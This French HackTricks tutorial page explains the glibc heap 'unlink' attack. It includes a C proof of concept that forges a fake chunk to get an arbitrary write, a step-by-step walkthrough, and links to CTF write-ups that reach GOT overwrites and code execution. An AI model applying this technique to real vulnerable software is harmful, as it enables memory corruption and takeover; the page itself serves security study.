Attaque Unlink
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Lorsque cette attaque a été découverte, elle permettait principalement un WWW (Write What Where), cependant, certaines vérifications ont été ajoutées rendant la nouvelle version de l'attaque plus intéressante, plus complexe et inutile.
Exemple de code :
Code
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
- L'attaque ne fonctionne pas si les tcaches sont utilisés (après 2.26)
Objectif
Cette attaque permet de changer un pointeur vers un chunk pour pointer 3 adresses avant lui-même. Si ce nouvel emplacement (environnements de l'endroit où le pointeur était situé) contient des éléments intéressants, comme d'autres allocations contrôlables / pile..., il est possible de les lire/écraser pour causer un plus grand dommage.
- Si ce pointeur était situé dans la pile, parce qu'il pointe maintenant 3 adresses avant lui-même et que l'utilisateur peut potentiellement le lire et le modifier, il sera possible de divulguer des informations sensibles de la pile ou même de modifier l'adresse de retour (peut-être) sans toucher au canary.
- Dans des exemples CTF, ce pointeur est situé dans un tableau de pointeurs vers d'autres allocations, donc, en le faisant pointer 3 adresses avant et en étant capable de le lire et d'écrire, il est possible de faire pointer les autres pointeurs vers d'autres adresses.
Comme l'utilisateur peut potentiellement lire/écrire également les autres allocations, il peut divulguer des informations ou écraser de nouvelles adresses à des emplacements arbitraires (comme dans le GOT).
Exigences
- Un certain contrôle dans une mémoire (par exemple, la pile) pour créer quelques chunks en donnant des valeurs à certains des attributs.
- Fuite de la pile afin de définir les pointeurs du faux chunk.
Attaque
- Il y a quelques chunks (chunk1 et chunk2)
- L'attaquant contrôle le contenu de chunk1 et les en-têtes de chunk2.
- Dans chunk1, l'attaquant crée la structure d'un faux chunk :
- Pour contourner les protections, il s'assure que le champ
size
est correct pour éviter l'erreur :corrupted size vs. prev_size while consolidating
- et les champs
fd
etbk
du faux chunk pointent vers l'endroit où le pointeur chunk1 est stocké avec des décalages de -3 et -2 respectivement, doncfake_chunk->fd->bk
etfake_chunk->bk->fd
pointent vers une position en mémoire (pile) où l'adresse réelle de chunk1 est située :
.png)
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- Les en-têtes de chunk2 sont modifiés pour indiquer que le chunk précédent n'est pas utilisé et que la taille est celle du faux chunk contenu.
- Lorsque le deuxième chunk est libéré, ce faux chunk est désolidarisé, ce qui se produit :
fake_chunk->fd->bk
=fake_chunk->bk
fake_chunk->bk->fd
=fake_chunk->fd
- Auparavant, il avait été fait que
fake_chunk->fd->bk
etfake_chunk->bk->fd
pointent vers le même endroit (l'emplacement dans la pile oùchunk1
était stocké, donc c'était une liste chaînée valide). Comme les deux pointent vers le même emplacement, seul le dernier (fake_chunk->bk->fd = fake_chunk->fd
) prendra effet. - Cela va écraser le pointeur vers chunk1 dans la pile à l'adresse (ou aux octets) stockés 3 adresses avant dans la pile.
- Par conséquent, si un attaquant pouvait contrôler à nouveau le contenu de chunk1, il pourra écrire dans la pile, étant capable de potentiellement écraser l'adresse de retour en contournant le canary et modifier les valeurs et les pointeurs des variables locales. Même en modifiant à nouveau l'adresse de chunk1 stockée dans la pile vers un emplacement différent où, si l'attaquant pouvait à nouveau contrôler le contenu de chunk1, il pourrait écrire n'importe où.
- Notez que cela était possible parce que les adresses sont stockées dans la pile. Le risque et l'exploitation peuvent dépendre de l'endroit où les adresses du faux chunk sont stockées.
.png)
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
Références
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- Bien qu'il serait étrange de trouver une attaque unlink même dans un CTF, ici vous avez quelques writeups où cette attaque a été utilisée :
- Exemple CTF : https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- Dans cet exemple, au lieu de la pile, il y a un tableau d'adresses mallocées. L'attaque unlink est effectuée pour pouvoir allouer un chunk ici, permettant ainsi de contrôler les pointeurs du tableau d'adresses mallocées. Ensuite, il y a une autre fonctionnalité qui permet de modifier le contenu des chunks à ces adresses, ce qui permet de pointer des adresses vers le GOT, de modifier les adresses de fonction pour obtenir des fuites et RCE.
- Un autre exemple CTF : https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- Tout comme dans l'exemple précédent, il y a un tableau d'adresses d'allocations. Il est possible d'effectuer une attaque unlink pour faire pointer l'adresse vers la première allocation quelques positions avant le début du tableau et de réécrire cette allocation à la nouvelle position. Par conséquent, il est possible d'écraser les pointeurs d'autres allocations pour pointer vers le GOT de atoi, de l'imprimer pour obtenir une fuite libc, puis de réécrire le GOT de atoi avec l'adresse d'un gadget.
- Exemple CTF avec des fonctions malloc et free personnalisées qui abusent d'une vulnérabilité très similaire à l'attaque unlink : https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- Il y a un dépassement qui permet de contrôler les pointeurs FD et BK de malloc personnalisé qui seront (personnalisés) libérés. De plus, le tas a le bit d'exécution, donc il est possible de divulguer une adresse de tas et de pointer une fonction du GOT vers un chunk de tas avec un shellcode à exécuter.
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.